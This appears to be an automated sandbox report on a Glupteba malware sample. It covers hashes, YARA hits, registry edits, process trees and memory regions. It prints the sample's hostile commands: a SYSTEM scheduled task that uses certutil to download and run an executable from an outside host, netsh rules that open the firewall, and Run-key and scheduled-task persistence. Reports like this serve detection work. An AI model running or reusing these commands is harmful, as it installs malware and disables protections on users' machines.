Analysis
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max time kernel
94s -
max time network
134s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
25-11-2022 09:24
Static task
static1
Behavioral task
behavioral1
Sample
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
Resource
win7-20220812-en
General
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Target
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
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Size
3.8MB
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MD5
eea23ae4a9b1b328d815f93a7ce6cc7b
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SHA1
a7ad3ab55fd96480dcb6de3c0670ebe533ff6fff
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SHA256
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904
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SHA512
9daf8b9ddd76137faa2287d6a136236be0c04667f4196f9ffb633f6a35e6c866c5c8a912f5cdb174b8ccd3dc2a1f7e7979874021dc47315ddeffc55f90e99cac
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SSDEEP
98304:uSUWsCvxkFWk1R5N+kTncjlGwEuwt8XqUKT2no2UefXXv1PGpg9T:uYsCvxwdlOlGU3XqUu2fRfX9Gpg9
Malware Config
Signatures
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Glupteba payload 8 IoCs
Processes:
resource yara_rule behavioral2/memory/4512-133-0x0000000003AC0000-0x00000000041B2000-memory.dmp family_glupteba behavioral2/memory/4512-134-0x0000000000400000-0x000000000314B000-memory.dmp family_glupteba behavioral2/memory/4512-136-0x0000000003AC0000-0x00000000041B2000-memory.dmp family_glupteba behavioral2/memory/4512-137-0x0000000000400000-0x000000000314B000-memory.dmp family_glupteba behavioral2/memory/4640-141-0x0000000000400000-0x000000000314B000-memory.dmp family_glupteba behavioral2/memory/4640-147-0x0000000000400000-0x000000000314B000-memory.dmp family_glupteba behavioral2/memory/3592-151-0x0000000000400000-0x000000000314B000-memory.dmp family_glupteba behavioral2/memory/3592-155-0x0000000000400000-0x000000000314B000-memory.dmp family_glupteba -
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 4848 created 4512 4848 svchost.exe 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe PID 4848 created 3592 4848 svchost.exe csrss.exe PID 4848 created 3592 4848 svchost.exe csrss.exe PID 4848 created 3592 4848 svchost.exe csrss.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 3592 csrss.exe 1760 patch.exe -
Modifies Windows Firewall 1 TTPs 2 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EmptyForest = "\"C:\\Windows\\rss\\csrss.exe\"" 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 1784 bcdedit.exe -
Drops file in Windows directory 2 IoCs
Processes:
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exedescription ioc process File opened for modification C:\Windows\rss 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe File created C:\Windows\rss\csrss.exe 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" csrss.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
Processes:
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.execsrss.exepid process 4512 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe 4512 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe 4640 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe 4640 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe 3592 csrss.exe 3592 csrss.exe 3592 csrss.exe 3592 csrss.exe 3592 csrss.exe 3592 csrss.exe 3592 csrss.exe 3592 csrss.exe 3592 csrss.exe 3592 csrss.exe 3592 csrss.exe 3592 csrss.exe 3592 csrss.exe 3592 csrss.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exesvchost.execsrss.exedescription pid process Token: SeDebugPrivilege 4512 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Token: SeImpersonatePrivilege 4512 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe Token: SeTcbPrivilege 4848 svchost.exe Token: SeTcbPrivilege 4848 svchost.exe Token: SeBackupPrivilege 4848 svchost.exe Token: SeRestorePrivilege 4848 svchost.exe Token: SeBackupPrivilege 4848 svchost.exe Token: SeRestorePrivilege 4848 svchost.exe Token: SeBackupPrivilege 4848 svchost.exe Token: SeRestorePrivilege 4848 svchost.exe Token: SeBackupPrivilege 4848 svchost.exe Token: SeRestorePrivilege 4848 svchost.exe Token: SeSystemEnvironmentPrivilege 3592 csrss.exe Token: SeBackupPrivilege 4848 svchost.exe Token: SeRestorePrivilege 4848 svchost.exe Token: SeBackupPrivilege 4848 svchost.exe Token: SeRestorePrivilege 4848 svchost.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
svchost.exe2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.execmd.execmd.execsrss.exedescription pid process target process PID 4848 wrote to memory of 4640 4848 svchost.exe 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe PID 4848 wrote to memory of 4640 4848 svchost.exe 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe PID 4848 wrote to memory of 4640 4848 svchost.exe 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe PID 4640 wrote to memory of 4296 4640 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe cmd.exe PID 4640 wrote to memory of 4296 4640 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe cmd.exe PID 4296 wrote to memory of 1792 4296 cmd.exe netsh.exe PID 4296 wrote to memory of 1792 4296 cmd.exe netsh.exe PID 4640 wrote to memory of 260 4640 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe cmd.exe PID 4640 wrote to memory of 260 4640 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe cmd.exe PID 260 wrote to memory of 32 260 cmd.exe netsh.exe PID 260 wrote to memory of 32 260 cmd.exe netsh.exe PID 4640 wrote to memory of 3592 4640 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe csrss.exe PID 4640 wrote to memory of 3592 4640 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe csrss.exe PID 4640 wrote to memory of 3592 4640 2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe csrss.exe PID 4848 wrote to memory of 632 4848 svchost.exe schtasks.exe PID 4848 wrote to memory of 632 4848 svchost.exe schtasks.exe PID 4848 wrote to memory of 1076 4848 svchost.exe schtasks.exe PID 4848 wrote to memory of 1076 4848 svchost.exe schtasks.exe PID 4848 wrote to memory of 1760 4848 svchost.exe patch.exe PID 4848 wrote to memory of 1760 4848 svchost.exe patch.exe PID 3592 wrote to memory of 1784 3592 csrss.exe bcdedit.exe PID 3592 wrote to memory of 1784 3592 csrss.exe bcdedit.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe"C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe"C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes4⤵
- Modifies Windows Firewall
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD5eea23ae4a9b1b328d815f93a7ce6cc7b
SHA1a7ad3ab55fd96480dcb6de3c0670ebe533ff6fff
SHA2562b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904
SHA5129daf8b9ddd76137faa2287d6a136236be0c04667f4196f9ffb633f6a35e6c866c5c8a912f5cdb174b8ccd3dc2a1f7e7979874021dc47315ddeffc55f90e99cac
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD5eea23ae4a9b1b328d815f93a7ce6cc7b
SHA1a7ad3ab55fd96480dcb6de3c0670ebe533ff6fff
SHA2562b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904
SHA5129daf8b9ddd76137faa2287d6a136236be0c04667f4196f9ffb633f6a35e6c866c5c8a912f5cdb174b8ccd3dc2a1f7e7979874021dc47315ddeffc55f90e99cac
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memory/32-143-0x0000000000000000-mapping.dmp
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memory/260-142-0x0000000000000000-mapping.dmp
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memory/632-149-0x0000000000000000-mapping.dmp
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memory/1076-150-0x0000000000000000-mapping.dmp
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memory/1760-152-0x0000000000000000-mapping.dmp
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memory/1784-154-0x0000000000000000-mapping.dmp
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memory/1792-140-0x0000000000000000-mapping.dmp
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memory/3592-144-0x0000000000000000-mapping.dmp
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memory/3592-155-0x0000000000400000-0x000000000314B000-memory.dmpFilesize
45.3MB
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memory/3592-148-0x0000000003B00000-0x0000000003EA5000-memory.dmpFilesize
3.6MB
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memory/3592-151-0x0000000000400000-0x000000000314B000-memory.dmpFilesize
45.3MB
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memory/4296-139-0x0000000000000000-mapping.dmp
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memory/4512-134-0x0000000000400000-0x000000000314B000-memory.dmpFilesize
45.3MB
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memory/4512-132-0x000000000370B000-0x0000000003AB0000-memory.dmpFilesize
3.6MB
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memory/4512-133-0x0000000003AC0000-0x00000000041B2000-memory.dmpFilesize
6.9MB
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memory/4512-137-0x0000000000400000-0x000000000314B000-memory.dmpFilesize
45.3MB
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memory/4512-136-0x0000000003AC0000-0x00000000041B2000-memory.dmpFilesize
6.9MB
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memory/4640-138-0x00000000036BD000-0x0000000003A62000-memory.dmpFilesize
3.6MB
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memory/4640-135-0x0000000000000000-mapping.dmp
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memory/4640-147-0x0000000000400000-0x000000000314B000-memory.dmpFilesize
45.3MB
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memory/4640-141-0x0000000000400000-0x000000000314B000-memory.dmpFilesize
45.3MB